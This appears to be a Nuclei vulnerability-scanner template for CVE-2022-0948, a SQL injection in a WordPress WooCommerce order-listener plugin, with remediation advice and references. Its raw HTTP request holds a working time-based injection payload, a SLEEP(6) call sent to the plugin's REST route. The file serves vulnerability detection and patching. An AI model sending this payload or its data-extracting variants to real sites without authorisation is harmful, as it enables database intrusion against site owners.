56 lines
2.1 KiB
YAML
56 lines
2.1 KiB
YAML
id: CVE-2022-0948
|
|
|
|
info:
|
|
name: WordPress Order Listener for WooCommerce <3.2.2 - SQL Injection
|
|
author: theamanrawat
|
|
severity: critical
|
|
description: |
|
|
WordPress Order Listener for WooCommerce plugin before 3.2.2 contains a SQL injection vulnerability. The plugin does not sanitize and escape the id parameter before using it in a SQL statement via a REST route. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
|
|
remediation: |
|
|
Update the WordPress Order Listener for WooCommerce plugin to version 3.2.2 or later.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/daad48df-6a25-493f-9d1d-17b897462576
|
|
- https://wordpress.org/plugins/woc-order-alert/
|
|
- https://plugins.trac.wordpress.org/changeset/2707223
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-0948
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2022-0948
|
|
cwe-id: CWE-89
|
|
epss-score: 0.0459
|
|
epss-percentile: 0.91639
|
|
cpe: cpe:2.3:a:pluginbazaar:order_listener_for_woocommerce:*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 2
|
|
vendor: pluginbazaar
|
|
product: order_listener_for_woocommerce
|
|
framework: wordpress
|
|
tags: cve,wp,unauth,sqli,woc-order-alert,wpscan,cve2022,wordpress,wp-plugin
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
@timeout: 15s
|
|
POST /?rest_route=/olistener/new HTTP/1.1
|
|
Host: {{Hostname}}
|
|
content-type: application/json
|
|
|
|
{"id":" (SLEEP(6))#"}
|
|
- |
|
|
GET /wp-content/plugins/woc-order-alert/assets/admin/js/scripts.js HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
req-condition: true
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'duration_1>=6'
|
|
- 'status_code_1 == 200'
|
|
- 'contains(content_type_1, "application/json")'
|
|
- 'contains(body_2, "olistener-action.olistener-controller")'
|
|
condition: and
|
|
|
|
# digest: 4a0a0047304502207475e84d70c12bb2ed30a468b8a4411c7440e4c4f8ac402c17ecc5b238247f32022100f53ab98e3c66149e95141a49a5382ba0b612964af6a55d0f796c6478264f63ef:922c64590222798bb761d5b6d8e72950
|